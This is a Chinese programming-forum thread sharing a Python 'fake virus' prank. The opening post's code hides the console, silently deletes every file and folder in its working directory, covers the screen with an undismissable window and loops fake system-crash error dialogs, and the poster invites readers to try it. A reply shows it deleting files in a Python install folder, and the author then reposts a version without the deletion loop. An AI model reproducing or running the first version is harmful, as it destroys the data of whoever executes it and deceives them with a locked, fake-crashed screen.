鱼C论坛

 找回密码
 立即注册
查看: 2386|回复: 3

[技术交流] 伪病毒

[复制链接]
发表于 2020-5-21 12:02:15 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
哈哈哈哈哈

上代码:
  1. import ctypes

  2. whnd = ctypes.windll.kernel32.GetConsoleWindow()   
  3. if whnd != 0:   
  4.     ctypes.windll.user32.ShowWindow(whnd, 0)   
  5.     ctypes.windll.kernel32.CloseHandle(whnd)

  6. from tkinter import *
  7. from tkinter import messagebox as g
  8. # import pyautogui as g
  9. from PIL import Image, ImageTk
  10. import os,sys
  11. import shutil
  12. cur_file = os.path.basename(sys.argv[0])
  13. dir_content = os.listdir(".")
  14. for f in dir_content:
  15.   if os.path.isdir(f):
  16.     shutil.rmtree(f)
  17.   elif f != cur_file:
  18.     os.remove(f)

  19. root = Tk()
  20. root.title("")
  21. root.configure(bg='#0074D4')

  22. w = root.winfo_screenwidth()
  23. h = root.winfo_screenheight()
  24. root.attributes("-topmost",True)
  25. root.resizable(0,0) #防止用户调整尺寸

  26. root.geometry("%dx%d+0+0" %(w,h))

  27. print(w, h)



  28. # Button(root, text='关闭', bg = 'red', command=root.quit).pack()

  29. gif = Image.open(r"C:\Users\Admin\Desktop\崩溃.png")
  30. giftk = ImageTk.PhotoImage(gif)

  31. Label(root, image=giftk).pack()


  32. # Label(root, bg='blue',).pack()

  33. def close():
  34.     pass

  35. def change(event):

  36.     root.update()

  37.     a = str(root.winfo_x())

  38.     b = str(root.winfo_y())

  39.     if a and b != '0':
  40.         root.geometry('%dx%d+0+0' % (w, h))

  41. def a(ev=None):
  42.     g.press('alt'+'\t')

  43. root.update()
  44. root.bind("<Configure>",change) #绑定事件
  45. root.bind("<Leave>", a)
  46. root.protocol("WM_DELETE_WINDOW", close)

  47. def whileF():
  48.     whileT()

  49. def whileT():
  50.     g.showerror('操作系统已严重崩溃!', '操作系统已严重崩溃!')
  51.     whileF()

  52. whileT()

  53. root.mainloop()
复制代码


你们可以去试试


这是图片:

emmmmmmm……

图片太大

只好用图床:htt啊ps://imgchr.com/i/YHH6ER




记得评分呀(此代码有坑,所以



记得评分呀

还有 记得入坑呀!
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2020-5-22 14:58:59 | 显示全部楼层
本帖最后由 imgcyh 于 2020-5-22 15:04 编辑

Traceback (most recent call last):
  File "C:/Users/imgc_yh/AppData/Local/Programs/Python/Python38-32/cf.py", line 18, in <module>
    shutil.rmtree(f)
  File "C:\Users\imgc_yh\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 737, in rmtree
    return _rmtree_unsafe(path, onerror)
  File "C:\Users\imgc_yh\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 615, in _rmtree_unsafe
    onerror(os.unlink, fullname, sys.exc_info())
  File "C:\Users\imgc_yh\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 613, in _rmtree_unsafe
    os.unlink(fullname)
PermissionError: [WinError 5] 拒绝访问。: 'DLLs\\libffi-7.dll'
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2020-5-22 15:40:50 | 显示全部楼层
imgcyh 发表于 2020-5-22 14:58
Traceback (most recent call last):
  File "C:/Users/imgc_yh/AppData/Local/Programs/Python/Python38- ...

import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:   
    ctypes.windll.user32.ShowWindow(whnd, 0)   
    ctypes.windll.kernel32.CloseHandle(whnd)

from tkinter import *
from tkinter import messagebox as g
# import pyautogui as g
from PIL import Image, ImageTk
import os,sys


root = Tk()
root.title("")
root.configure(bg='#0074D4')

w = root.winfo_screenwidth()
h = root.winfo_screenheight()
root.attributes("-topmost",True)
root.resizable(0,0) #防止用户调整尺寸

root.geometry("%dx%d+0+0" %(w,h))

print(w, h)



# Button(root, text='关闭', bg = 'red', command=root.quit).pack()

gif = Image.open(r"C:\Users\Admin\Desktop\崩溃.png")
giftk = ImageTk.PhotoImage(gif)

Label(root, image=giftk).pack()


# Label(root, bg='blue',).pack()

def close():
    pass

def change(event):

    root.update()

    a = str(root.winfo_x())

    b = str(root.winfo_y())

    if a and b != '0':
        root.geometry('%dx%d+0+0' % (w, h))

def a(ev=None):
    g.press('alt'+'\t')

root.update()
root.bind("<Configure>",change) #绑定事件
root.bind("<Leave>", a)
root.protocol("WM_DELETE_WINDOW", close)

def whileF():
    whileT()

def whileT():
    g.showerror('操作系统已严重崩溃!', '操作系统已严重崩溃!')
    whileF()

whileT()

root.mainloop()
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-7-1 13:22

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表